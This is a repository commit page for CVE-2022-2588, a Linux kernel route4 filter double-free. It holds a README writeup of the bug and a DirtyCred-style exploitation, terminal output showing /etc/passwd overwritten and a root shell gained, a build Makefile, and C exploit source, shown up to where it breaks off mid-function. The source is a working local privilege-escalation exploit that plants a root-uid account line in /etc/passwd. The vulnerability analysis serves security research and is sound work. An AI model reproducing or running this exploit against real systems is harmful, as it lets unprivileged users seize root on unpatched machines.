Projects STRLCPY CVE-2022-2588 Commits 5851abfb
🤬
  • add the exploit code and a brief writeup

  • Loading...
  • Markak committed 2 years ago
    5851abfb
    1 parent 837c6625
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +file:
     2 + cc -O0 exp_file_credential.c -lpthread -o exp_file_credential
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  # CVE-2022-2588
    2 2   
    3  -A bug that has been existed in Linux kernel for almost 8 years.
     3 +# The fix
     4 +The bug is fixed in Linux v5.19 by this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9ad36309e2719a884f946678e0296be10f).
     5 + 
     6 +# The bug
     7 + 
     8 +The bug was introduced in Linux v3.17 by this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1109c00547fc66df45b9ff923544be4c1e1bec13) back to 2014. It requires `User Namespaces` to trigger. This bug is very similar to [CVE-2021-3715](https://access.redhat.com/security/cve/cve-2021-3715), which was caused by improper operation on the `route4_filter`'s linked list. More details of CVE-2021-3715 could be found at [the blackhat talk](https://zplin.me/talks/BHEU21_trash_kernel_bug.pdf) (page 16). The following is some brief details of CVE-2022-2588.
     9 + 
     10 +The following shows some important code snippets of function `route4_change` for understanding CVE-2022-2588.
    4 11   
    5  -Exploit code coming soon...
     12 +```c
     13 +static int route4_change(...)
     14 +{
     15 + ...
     16 + f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
     17 + ...
     18 + // if there exists a filter with the same handler, copy some information
     19 + if (fold) { [1]
     20 + f->id = fold->id;
     21 + f->iif = fold->iif;
     22 + f->res = fold->res;
     23 + f->handle = fold->handle;
     24 + 
     25 + f->tp = fold->tp;
     26 + f->bkt = fold->bkt;
     27 + new = false;
     28 + }
     29 +
     30 + // initialize the new filter
     31 + err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
     32 + tca[TCA_RATE], new, flags, extack);
     33 + if (err < 0)
     34 + goto errout;
     35 + 
     36 + // insert the new filter to the list
     37 + h = from_hash(f->handle >> 16); [3]
     38 + fp = &f->bkt->ht[h];
     39 + for (pfp = rtnl_dereference(*fp);
     40 + (f1 = rtnl_dereference(*fp)) != NULL;
     41 + fp = &f1->next)
     42 + if (f->handle < f1->handle)
     43 + break;
     44 + 
     45 + tcf_block_netif_keep_dst(tp->chain->block);
     46 + rcu_assign_pointer(f->next, f1);
     47 + rcu_assign_pointer(*fp, f);
     48 +
     49 + // remove fold filter from the list if fold exists
     50 + if (fold && fold->handle && f->handle != fold->handle) { [4]
     51 + th = to_hash(fold->handle);
     52 + h = from_hash(fold->handle >> 16);
     53 + b = rtnl_dereference(head->table[th]);
     54 + if (b) {
     55 + fp = &b->ht[h];
     56 + for (pfp = rtnl_dereference(*fp); pfp;
     57 + fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
     58 + if (pfp == fold) {
     59 + rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
     60 + break;
     61 + }
     62 + }
     63 + }
     64 + }
     65 +...
     66 + // free the fold filter if it exists [6]
     67 + if (fold) {
     68 + tcf_unbind_filter(tp, &fold->res);
     69 + tcf_exts_get_net(&fold->exts);
     70 + tcf_queue_work(&fold->rwork, route4_delete_filter_work);
     71 + }
     72 +```
     73 + 
     74 +The function is implemented to initialize/replace `route4_filter` object. The filter uses `handle` as an unique id to distinguish between each filter. If there exists a handle that has been initialized before (i.e. the `fold` variable is not null), it will update the filter by removing the old filter and adding a new filter, otherwise, it will just add a new filter.
     75 + 
     76 +In [0], kernel allocate the `route4_filter` object. In [1], if fold is not empty, which means there exists a filter with the same handle, it will copy some information to the new filter and initialize the new filter in [2], then insert the new filter to the list in [3]. If the old filter exists, it gets removed from list in [4] and gets freed in [6].
     77 + 
     78 +The bug happens in [4], which checks whether there exists an old filter to be removed. The condition ensures that the handle shouldn't be zero and it should match with the new filter's handle. This condition doesn't align with the condition of freeing the filter in [6], which only checks if the old filter exists. Therefore, if users create a filter whose handle is 0, then trigger the replacement of it, the filter will not be unlinked in [4] but gets freed in [6] since their condition isn't the same.
     79 + 
     80 +# The exploitation
     81 + 
     82 +Since this bug is similar to CVE-2021-3715, their primitives are nearly the same. Readers could refer to the [the blackhat talk](https://zplin.me/talks/BHEU21_trash_kernel_bug.pdf) for more detailed description of primitives. This write-up shows the exploitation with the idea of [DirtyCred](https://zplin.me/papers/DirtyCred-BH22-Zhenpeng.pdf).
     83 + 
     84 +Since the freed `fold` is still on the linked list after triggering the bug, we could free the `fold` once again, which eventually will cause a double free on the `route4_filer` object and `route4_filter->exts.action` object if `CONFIG_NET_CLS_ACT` is enabled.
     85 + 
     86 +The exploit codes utilize those two double-free capability to demonstrate the attack to [task credentials](https://www.kernel.org/doc/Documentation/security/credentials.txt) and [open file credentials](https://www.kernel.org/doc/Documentation/security/credentials.txt).
     87 + 
     88 +## Attacking file credential
     89 + 
     90 +Following the idea of [DirtyCred](https://zplin.me/papers/DirtyCred-BH22-Zhenpeng.pdf), the exploit code swaps the file credential after the permission checks, so we could write any content to files with read permission. Ideally, the code could work across all kernel versions affected by the bug. It is noted that in order to make sure the code will work on older kernels where `msg_msg` is isolated in `kmalloc-rcl-*`, the exploit uses a different spray object.
     91 + 
     92 +```bash
     93 +[zip@localhost ~]$ ./exp_file
     94 +self path /home/zip/./exp_file
     95 +prepare done
     96 +Old limits -> soft limit= 14096 hard limit= 14096
     97 +starting exploit, num of cores: 32
     98 +defrag done
     99 +spray 256 done
     100 +freed the filter object
     101 +256 freed done
     102 +double free done
     103 +spraying files
     104 +found overlap, id : 257, 1061
     105 +start slow write
     106 +closed overlap
     107 +got cmd, start spraying /etc/passwd
     108 +spray done
     109 +write done, spent 1.621078 s
     110 +should be after the slow write
     111 +succeed
     112 +[zip@localhost ~]$ head -n 4 /etc/passwd
     113 +user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
     114 +root:x:0:0:root:/root:/bin/bash
     115 +bin:x:1:1:bin:/bin:/sbin/nologin
     116 +daemon:x:2:2:daemon:/sbin:/sbin/nologin
     117 +[zip@localhost ~]$ su user # the password user
     118 +Password:
     119 +sh-4.4# id
     120 +uid=0(user) gid=0(root) groups=0(root)
     121 +```
    6 122   
  • exp_file_credential
    Binary file.
  • ■ ■ ■ ■ ■ ■
    exp_file_credential.c
     1 +#define _GNU_SOURCE
     2 + 
     3 +#include <arpa/inet.h>
     4 +#include <assert.h>
     5 +#include <dirent.h>
     6 +#include <endian.h>
     7 +#include <errno.h>
     8 +#include <fcntl.h>
     9 +#include <net/if.h>
     10 +#include <net/if_arp.h>
     11 +#include <netinet/in.h>
     12 +#include <sched.h>
     13 +#include <signal.h>
     14 +#include <stdarg.h>
     15 +#include <stdbool.h>
     16 +#include <stdint.h>
     17 +#include <stdio.h>
     18 +#include <stdlib.h>
     19 +#include <string.h>
     20 +#include <sys/epoll.h>
     21 +#include <sys/ioctl.h>
     22 +#include <sys/ipc.h>
     23 +#include <sys/mount.h>
     24 +#include <sys/msg.h>
     25 +#include <sys/syscall.h>
     26 +#include <sys/time.h>
     27 +#include <sys/types.h>
     28 +#include <sys/uio.h>
     29 +#include <sys/wait.h>
     30 +#include <time.h>
     31 +#include <unistd.h>
     32 + 
     33 +#include <sys/shm.h>
     34 +#include <sys/stat.h>
     35 +#include <sys/timerfd.h>
     36 + 
     37 +#include <linux/tc_ematch/tc_em_meta.h>
     38 +#include <sys/resource.h>
     39 + 
     40 +#include <linux/capability.h>
     41 +#include <linux/futex.h>
     42 +#include <linux/genetlink.h>
     43 +#include <linux/if_addr.h>
     44 +#include <linux/if_ether.h>
     45 +#include <linux/if_link.h>
     46 +#include <linux/if_tun.h>
     47 +#include <linux/in6.h>
     48 +#include <linux/ip.h>
     49 +#include <linux/kcmp.h>
     50 +#include <linux/neighbour.h>
     51 +#include <linux/net.h>
     52 +#include <linux/netlink.h>
     53 +#include <linux/pkt_cls.h>
     54 +#include <linux/pkt_sched.h>
     55 +#include <linux/rtnetlink.h>
     56 +#include <linux/tcp.h>
     57 +#include <linux/veth.h>
     58 + 
     59 +#include <x86intrin.h>
     60 + 
     61 +#include <err.h>
     62 +#include <fcntl.h>
     63 +#include <poll.h>
     64 +#include <pthread.h>
     65 +#include <stdio.h>
     66 +#include <sys/ioctl.h>
     67 +#include <sys/mman.h>
     68 +#include <sys/utsname.h>
     69 +#include <unistd.h>
     70 + 
     71 +// #define DEBUG
     72 + 
     73 +char *target = "/etc/passwd";
     74 +char *overwrite =
     75 + "user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash\n";
     76 +char *global;
     77 +char *self_path;
     78 +char *content;
     79 + 
     80 +#define PAGE_SIZE 0x1000
     81 +#define MAX_FILE_NUM 0x8000
     82 + 
     83 +int fds[MAX_FILE_NUM] = {};
     84 +int fd_2[MAX_FILE_NUM] = {};
     85 +int overlap_a = -1;
     86 +int overlap_b = -1;
     87 + 
     88 +int cpu_cores = 0;
     89 +int sockfd = -1;
     90 + 
     91 +int spray_num_1 = 2000;
     92 +int spray_num_2 = 4000;
     93 + 
     94 +// int spray_num_1 = 4000;
     95 +// int spray_num_2 = 5000;
     96 + 
     97 +int pipe_main[2];
     98 +int pipe_parent[2];
     99 +int pipe_child[2];
     100 +int pipe_defrag[2];
     101 +int pipe_file_spray[2][2];
     102 + 
     103 +int run_write = 0;
     104 +int run_spray = 0;
     105 +char *passwd;
     106 +bool overlapped = false;
     107 + 
     108 +void DumpHex(const void *data, size_t size) {
     109 +#ifdef DEBUG
     110 + char ascii[17];
     111 + size_t i, j;
     112 + ascii[16] = '\0';
     113 + for (i = 0; i < size; ++i) {
     114 + printf("%02X ", ((unsigned char *)data)[i]);
     115 + if (((unsigned char *)data)[i] >= ' ' &&
     116 + ((unsigned char *)data)[i] <= '~') {
     117 + ascii[i % 16] = ((unsigned char *)data)[i];
     118 + } else {
     119 + ascii[i % 16] = '.';
     120 + }
     121 + if ((i + 1) % 8 == 0 || i + 1 == size) {
     122 + printf(" ");
     123 + if ((i + 1) % 16 == 0) {
     124 + printf("| %s \n", ascii);
     125 + } else if (i + 1 == size) {
     126 + ascii[(i + 1) % 16] = '\0';
     127 + if ((i + 1) % 16 <= 8) {
     128 + printf(" ");
     129 + }
     130 + for (j = (i + 1) % 16; j < 16; ++j) {
     131 + printf(" ");
     132 + }
     133 + printf("| %s \n", ascii);
     134 + }
     135 + }
     136 + }
     137 +#endif
     138 +}
     139 + 
     140 +void pin_on_cpu(int cpu) {
     141 + cpu_set_t cpu_set;
     142 + CPU_ZERO(&cpu_set);
     143 + CPU_SET(cpu, &cpu_set);
     144 + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
     145 + perror("sched_setaffinity()");
     146 + exit(EXIT_FAILURE);
     147 + }
     148 +}
     149 + 
     150 +static bool write_file(const char *file, const char *what, ...) {
     151 + char buf[1024];
     152 + va_list args;
     153 + va_start(args, what);
     154 + vsnprintf(buf, sizeof(buf), what, args);
     155 + va_end(args);
     156 + buf[sizeof(buf) - 1] = 0;
     157 + int len = strlen(buf);
     158 + int fd = open(file, O_WRONLY | O_CLOEXEC);
     159 + if (fd == -1)
     160 + return false;
     161 + if (write(fd, buf, len) != len) {
     162 + int err = errno;
     163 + close(fd);
     164 + errno = err;
     165 + return false;
     166 + }
     167 + close(fd);
     168 + return true;
     169 +}
     170 + 
     171 +static void use_temporary_dir(void) {
     172 + system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
     173 + system("touch exp_dir/data2");
     174 + char *tmpdir = "exp_dir";
     175 + if (!tmpdir)
     176 + exit(1);
     177 + if (chmod(tmpdir, 0777))
     178 + exit(1);
     179 + if (chdir(tmpdir))
     180 + exit(1);
     181 + symlink("./data", "./uaf");
     182 +}
     183 + 
     184 +static void setup_common() {
     185 + if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
     186 + }
     187 +}
     188 + 
     189 +static void adjust_rlimit() {
     190 + struct rlimit rlim;
     191 + rlim.rlim_cur = rlim.rlim_max = (200 << 20);
     192 + setrlimit(RLIMIT_AS, &rlim);
     193 + rlim.rlim_cur = rlim.rlim_max = 32 << 20;
     194 + setrlimit(RLIMIT_MEMLOCK, &rlim);
     195 + rlim.rlim_cur = rlim.rlim_max = 136 << 20;
     196 + // setrlimit(RLIMIT_FSIZE, &rlim);
     197 + rlim.rlim_cur = rlim.rlim_max = 1 << 20;
     198 + setrlimit(RLIMIT_STACK, &rlim);
     199 + rlim.rlim_cur = rlim.rlim_max = 0;
     200 + setrlimit(RLIMIT_CORE, &rlim);
     201 + // RLIMIT_FILE
     202 + rlim.rlim_cur = rlim.rlim_max = 14096;
     203 + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
     204 + rlim.rlim_cur = rlim.rlim_max = 4096;
     205 + spray_num_1 = 1200;
     206 + spray_num_2 = 2800;
     207 + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
     208 + perror("setrlimit");
     209 + err(1, "setrlimit");
     210 + }
     211 + }
     212 +}
     213 + 
     214 +void setup_namespace() {
     215 + int real_uid = getuid();
     216 + int real_gid = getgid();
     217 + 
     218 + if (unshare(CLONE_NEWUSER) != 0) {
     219 + perror("[-] unshare(CLONE_NEWUSER)");
     220 + exit(EXIT_FAILURE);
     221 + }
     222 + 
     223 + if (unshare(CLONE_NEWNET) != 0) {
     224 + perror("[-] unshare(CLONE_NEWUSER)");
     225 + exit(EXIT_FAILURE);
     226 + }
     227 + 
     228 + if (!write_file("/proc/self/setgroups", "deny")) {
     229 + perror("[-] write_file(/proc/self/set_groups)");
     230 + exit(EXIT_FAILURE);
     231 + }
     232 + if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
     233 + perror("[-] write_file(/proc/self/uid_map)");
     234 + exit(EXIT_FAILURE);
     235 + }
     236 + if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
     237 + perror("[-] write_file(/proc/self/gid_map)");
     238 + exit(EXIT_FAILURE);
     239 + }
     240 +}
     241 + 
     242 +#define NLMSG_TAIL(nmsg) \
     243 + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
     244 + 
     245 +int addattr(char *attr, int type, void *data, int len) {
     246 + struct rtattr *rta = (struct rtattr *)attr;
     247 + 
     248 + rta->rta_type = type;
     249 + rta->rta_len = RTA_LENGTH(len);
     250 + if (len) {
     251 + memcpy(RTA_DATA(attr), data, len);
     252 + }
     253 + 
     254 + return RTA_LENGTH(len);
     255 +}
     256 + 
     257 +int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data,
     258 + int alen) {
     259 + int len = RTA_LENGTH(alen);
     260 + struct rtattr *rta;
     261 + 
     262 + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
     263 + fprintf(stderr, "addattr_l ERROR: message exceeded bound of %d\n", maxlen);
     264 + return -1;
     265 + }
     266 + rta = NLMSG_TAIL(n);
     267 + rta->rta_type = type;
     268 + rta->rta_len = len;
     269 + if (alen)
     270 + memcpy(RTA_DATA(rta), data, alen);
     271 + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len);
     272 + return 0;
     273 +}
     274 + 
     275 +struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) {
     276 + struct rtattr *nest = NLMSG_TAIL(n);
     277 + 
     278 + addattr_l(n, maxlen, type, NULL, 0);
     279 + return nest;
     280 +}
     281 + 
     282 +int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) {
     283 + nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest;
     284 + return n->nlmsg_len;
     285 +}
     286 + 
     287 +int add_qdisc(int fd) {
     288 + char *start = malloc(0x1000);
     289 + memset(start, 0, 0x1000);
     290 + struct nlmsghdr *msg = (struct nlmsghdr *)start;
     291 + 
     292 + // new qdisc
     293 + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
     294 + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_EXCL | NLM_F_CREATE;
     295 + msg->nlmsg_type = RTM_NEWQDISC;
     296 + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
     297 + // set local
     298 + t->tcm_ifindex = 1;
     299 + t->tcm_family = AF_UNSPEC;
     300 + t->tcm_parent = TC_H_ROOT;
     301 + // prio, protocol
     302 + u_int32_t prio = 1;
     303 + u_int32_t protocol = 1;
     304 + t->tcm_info = TC_H_MAKE(prio << 16, protocol);
     305 + 
     306 + addattr_l(msg, 0x1000, TCA_KIND, "sfq", 4);
     307 + 
     308 + // packing
     309 +#ifdef DEBUG
     310 + DumpHex(msg, msg->nlmsg_len);
     311 +#endif
     312 + 
     313 + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
     314 + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
     315 + struct msghdr msgh = {
     316 + .msg_name = &nladdr,
     317 + .msg_namelen = sizeof(nladdr),
     318 + .msg_iov = &iov,
     319 + .msg_iovlen = 1,
     320 + };
     321 + return sendmsg(fd, &msgh, 0);
     322 +}
     323 + 
     324 +int add_tc_(int fd, u_int32_t from, u_int32_t to, u_int32_t handle,
     325 + u_int16_t flags) {
     326 + char *start = malloc(0x2000);
     327 + memset(start, 0, 0x2000);
     328 + struct nlmsghdr *msg = (struct nlmsghdr *)start;
     329 + 
     330 + // new filter
     331 + msg = msg + msg->nlmsg_len;
     332 + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
     333 + msg->nlmsg_flags = NLM_F_REQUEST | flags;
     334 + msg->nlmsg_type = RTM_NEWTFILTER;
     335 + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
     336 + 
     337 + // prio, protocol
     338 + u_int32_t prio = 1;
     339 + u_int32_t protocol = 1;
     340 + t->tcm_info = TC_H_MAKE(prio << 16, protocol);
     341 + t->tcm_ifindex = 1;
     342 + t->tcm_family = AF_UNSPEC;
     343 + t->tcm_handle = handle;
     344 + 
     345 + addattr_l(msg, 0x1000, TCA_KIND, "route", 6);
     346 + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
     347 + addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4);
     348 + addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4);
     349 + addattr_nest_end(msg, tail);
     350 + 
     351 + // packing
     352 + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
     353 + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
     354 + struct msghdr msgh = {
     355 + .msg_name = &nladdr,
     356 + .msg_namelen = sizeof(nladdr),
     357 + .msg_iov = &iov,
     358 + .msg_iovlen = 1,
     359 + };
     360 + 
     361 + sendmsg(fd, &msgh, 0);
     362 + 
     363 + free(start);
     364 + return 1;
     365 +}
     366 + 
     367 +void add_tc(int sockfd, uint32_t handle, uint16_t flag) {
     368 + add_tc_(sockfd, 0, handle, (handle << 8) + handle, flag);
     369 +}
     370 + 
     371 +uint32_t calc_handle(uint32_t from, uint32_t to) {
     372 + uint32_t handle = to;
     373 + 
     374 + assert(from <= 0xff && to <= 0xff);
     375 + handle |= from << 16;
     376 + 
     377 + if (((handle & 0x7f00) | handle) != handle)
     378 + return 0;
     379 + 
     380 + if (handle == 0 || (handle & 0x8000))
     381 + return 0;
     382 + return handle;
     383 +}
     384 + 
     385 +void *delete_tc_(int sockfd, u_int32_t handle) {
     386 + char *start = malloc(0x4000);
     387 + memset(start, 0, 0x4000);
     388 + struct nlmsghdr *msg = (struct nlmsghdr *)start;
     389 + 
     390 + // new filter
     391 + msg = msg + msg->nlmsg_len;
     392 + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
     393 + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO;
     394 + msg->nlmsg_type = RTM_DELTFILTER;
     395 + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
     396 + 
     397 + // prio, protocol
     398 + u_int32_t prio = 1;
     399 + u_int32_t protocol = 1;
     400 + t->tcm_info = TC_H_MAKE(prio << 16, protocol);
     401 + t->tcm_ifindex = 1;
     402 + t->tcm_family = AF_UNSPEC;
     403 + t->tcm_handle = handle;
     404 + 
     405 + addattr_l(msg, 0x1000, TCA_KIND, "route", 6);
     406 + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
     407 + addattr_nest_end(msg, tail);
     408 + 
     409 + // packing
     410 + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
     411 + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
     412 + struct msghdr msgh = {
     413 + .msg_name = &nladdr,
     414 + .msg_namelen = sizeof(nladdr),
     415 + .msg_iov = &iov,
     416 + .msg_iovlen = 1,
     417 + };
     418 + 
     419 + sendmsg(sockfd, &msgh, 0);
     420 + memset(start, 0, 0x4000);
     421 + iov.iov_len = 0x4000;
     422 + iov.iov_base = start;
     423 + recvmsg(sockfd, &msgh, 0);
     424 + 
     425 + if (msgh.msg_namelen != sizeof(nladdr)) {
     426 + printf("size of sender address is wrong\n");
     427 + }
     428 + return start;
     429 +}
     430 + 
     431 +void delete_tc(int sockfd, uint32_t handle) {
     432 + delete_tc_(sockfd, ((handle) << 8) + (handle));
     433 +}
     434 + 
     435 +// basic for spray
     436 +int add_tc_basic(int fd, uint32_t handle, void *spray_data, size_t spray_len,
     437 + int spray_count) {
     438 + assert(spray_len * spray_count < 0x3000);
     439 + char *start = malloc(0x4000);
     440 + memset(start, 0, 0x4000);
     441 + struct nlmsghdr *msg = (struct nlmsghdr *)start;
     442 + 
     443 + // new filter
     444 + msg = msg + msg->nlmsg_len;
     445 + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
     446 + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // | flags;
     447 + msg->nlmsg_type = RTM_NEWTFILTER;
     448 + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
     449 + 
     450 + // prio, protocol
     451 + u_int32_t prio = 1;
     452 + u_int32_t protocol = 1;
     453 + t->tcm_info = TC_H_MAKE(prio << 16, protocol);
     454 + t->tcm_ifindex = 1;
     455 + t->tcm_family = AF_UNSPEC;
     456 + t->tcm_handle = handle;
     457 + // t->tcm_parent = TC_H_ROOT;
     458 + 
     459 + addattr_l(msg, 0x4000, TCA_KIND, "basic", 6);
     460 + struct rtattr *tail = addattr_nest(msg, 0x4000, TCA_OPTIONS);
     461 + struct rtattr *ema_tail = addattr_nest(msg, 0x4000, TCA_BASIC_EMATCHES);
     462 + struct tcf_ematch_tree_hdr tree_hdr = {.nmatches = spray_count / 2,
     463 + .progid = 0};
     464 + 
     465 + addattr_l(msg, 0x4000, TCA_EMATCH_TREE_HDR, &tree_hdr, sizeof(tree_hdr));
     466 + struct rtattr *rt_match_tail =
     467 + addattr_nest(msg, 0x4000, TCA_EMATCH_TREE_LIST);
     468 + 
     469 + char *data = malloc(0x3000);
     470 + for (int i = 0; i < tree_hdr.nmatches; i++) {
     471 + char *current;
     472 + memset(data, 0, 0x3000);
     473 + struct tcf_ematch_hdr *hdr = (struct tcf_ematch_hdr *)data;
     474 + hdr->kind = TCF_EM_META;
     475 + hdr->flags = TCF_EM_REL_AND;
     476 + 
     477 + current = data + sizeof(*hdr);
     478 + 
     479 + struct tcf_meta_hdr meta_hdr = {
     480 + .left.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV,
     481 + .right.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV,
     482 + };
     483 + 
     484 + current += addattr(current, TCA_EM_META_HDR, &meta_hdr, sizeof(hdr));
     485 + current += addattr(current, TCA_EM_META_LVALUE, spray_data, spray_len);
     486 + current += addattr(current, TCA_EM_META_RVALUE, spray_data, spray_len);
     487 + 
     488 + addattr_l(msg, 0x4000, i + 1, data, current - data);
     489 + }
     490 + 
     491 + addattr_nest_end(msg, rt_match_tail);
     492 + addattr_nest_end(msg, ema_tail);
     493 + addattr_nest_end(msg, tail);
     494 + 
     495 + // packing
     496 + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
     497 + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
     498 + struct msghdr msgh = {
     499 + .msg_name = &nladdr,
     500 + .msg_namelen = sizeof(nladdr),
     501 + .msg_iov = &iov,
     502 + .msg_iovlen = 1,
     503 + };
     504 + sendmsg(fd, &msgh, 0);
     505 + free(data);
     506 + free(start);
     507 + return 1;
     508 +}
     509 + 
     510 +void *delete_tc_basic(int sockfd, u_int32_t handle) {
     511 + char *start = malloc(0x4000);
     512 + memset(start, 0, 0x4000);
     513 + struct nlmsghdr *msg = (struct nlmsghdr *)start;
     514 + 
     515 + // new filter
     516 + msg = msg + msg->nlmsg_len;
     517 + msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
     518 + msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO;
     519 + msg->nlmsg_type = RTM_DELTFILTER;
     520 + struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr));
     521 + 
     522 + // prio, protocol
     523 + u_int32_t prio = 1;
     524 + u_int32_t protocol = 1;
     525 + t->tcm_info = TC_H_MAKE(prio << 16, protocol);
     526 + t->tcm_ifindex = 1;
     527 + t->tcm_family = AF_UNSPEC;
     528 + t->tcm_handle = handle;
     529 + // t->tcm_parent = TC_H_ROOT;
     530 + 
     531 + addattr_l(msg, 0x1000, TCA_KIND, "basic", 6);
     532 + struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS);
     533 + addattr_nest_end(msg, tail);
     534 + 
     535 + // packing
     536 + struct iovec iov = {.iov_base = msg, .iov_len = msg->nlmsg_len};
     537 + struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
     538 + struct msghdr msgh = {
     539 + .msg_name = &nladdr,
     540 + .msg_namelen = sizeof(nladdr),
     541 + .msg_iov = &iov,
     542 + .msg_iovlen = 1,
     543 + };
     544 + 
     545 + sendmsg(sockfd, &msgh, 0);
     546 + memset(start, 0, 0x4000);
     547 + iov.iov_len = 0x4000;
     548 + iov.iov_base = start;
     549 + recvmsg(sockfd, &msgh, 0);
     550 + 
     551 + if (msgh.msg_namelen != sizeof(nladdr)) {
     552 + printf("size of sender address is wrong\n");
     553 + }
     554 + 
     555 + return start;
     556 +}
     557 + 
     558 +void *slow_write() {
     559 + printf("start slow write\n");
     560 + clock_t start, end;
     561 + int fd = open("./uaf", 1);
     562 + 
     563 + if (fd < 0) {
     564 + perror("error open uaf file");
     565 + exit(-1);
     566 + }
     567 + 
     568 + unsigned long int addr = 0x30000000;
     569 + int offset;
     570 + for (offset = 0; offset < 0x80000 / 20; offset++) {
     571 + void *r = mmap((void *)(addr + offset * 0x1000), 0x1000,
     572 + PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
     573 + if (r < 0) {
     574 + printf("allocate failed at 0x%x\n", offset);
     575 + }
     576 + }
     577 + 
     578 + assert(offset > 0);
     579 + 
     580 + void *mem = (void *)(addr);
     581 + memcpy(mem, "hhhhh", 5);
     582 + 
     583 + struct iovec iov[20];
     584 + for (int i = 0; i < 20; i++) {
     585 + iov[i].iov_base = mem;
     586 + iov[i].iov_len = offset * 0x1000;
     587 + }
     588 + 
     589 + run_write = 1;
     590 + start = clock();
     591 + // 2GB max
     592 + if (writev(fd, iov, 20) < 0) {
     593 + perror("slow write");
     594 + }
     595 + end = clock();
     596 + double spent = (double)(end - start) / CLOCKS_PER_SEC;
     597 + printf("write done, spent %f s\n", spent);
     598 + run_write = 0;
     599 +}
     600 + 
     601 +void *write_cmd() {
     602 + // user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
     603 + char data[1024] =
     604 + "user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash";
     605 + // struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};
     606 + struct iovec iov = {.iov_base = content, .iov_len = strlen(content)};
     607 + 
     608 + while (!run_write) {
     609 + }
     610 + run_spray = 1;
     611 + if (writev(overlap_a, &iov, 1) < 0) {
     612 + printf("failed to write\n");
     613 + }
     614 + printf("should be after the slow write\n");
     615 +}
     616 + 
     617 +void pre_exploit() {
     618 + adjust_rlimit();
     619 + use_temporary_dir();
     620 + setup_namespace();
     621 +}
     622 + 
     623 +void exploit() {
     624 + char buf[2 * PAGE_SIZE] = {};
     625 + char msg[0x10] = {};
     626 + char *spray;
     627 + int cc;
     628 + struct rlimit old_lim, lim, new_lim;
     629 + 
     630 + // Get old limits
     631 + if (getrlimit(RLIMIT_NOFILE, &old_lim) == 0)
     632 + printf("Old limits -> soft limit= %ld \t"
     633 + " hard limit= %ld \n",
     634 + old_lim.rlim_cur, old_lim.rlim_max);
     635 + pin_on_cpu(0);
     636 + printf("starting exploit, num of cores: %d\n", cpu_cores);
     637 + 
     638 + sockfd = socket(PF_NETLINK, SOCK_RAW, 0);
     639 + assert(sockfd != -1);
     640 + add_qdisc(sockfd);
     641 + 
     642 + // wait for parent
     643 + if (read(pipe_child[0], msg, 2) != 2) {
     644 + err(1, "read from parent");
     645 + }
     646 + // allocate the vulnerable object
     647 + add_tc_(sockfd, 0, 0, 0, NLM_F_EXCL | NLM_F_CREATE);
     648 + 
     649 + // ask parent to keep spraying
     650 + if (write(pipe_parent[1], "OK", 2) != 2) {
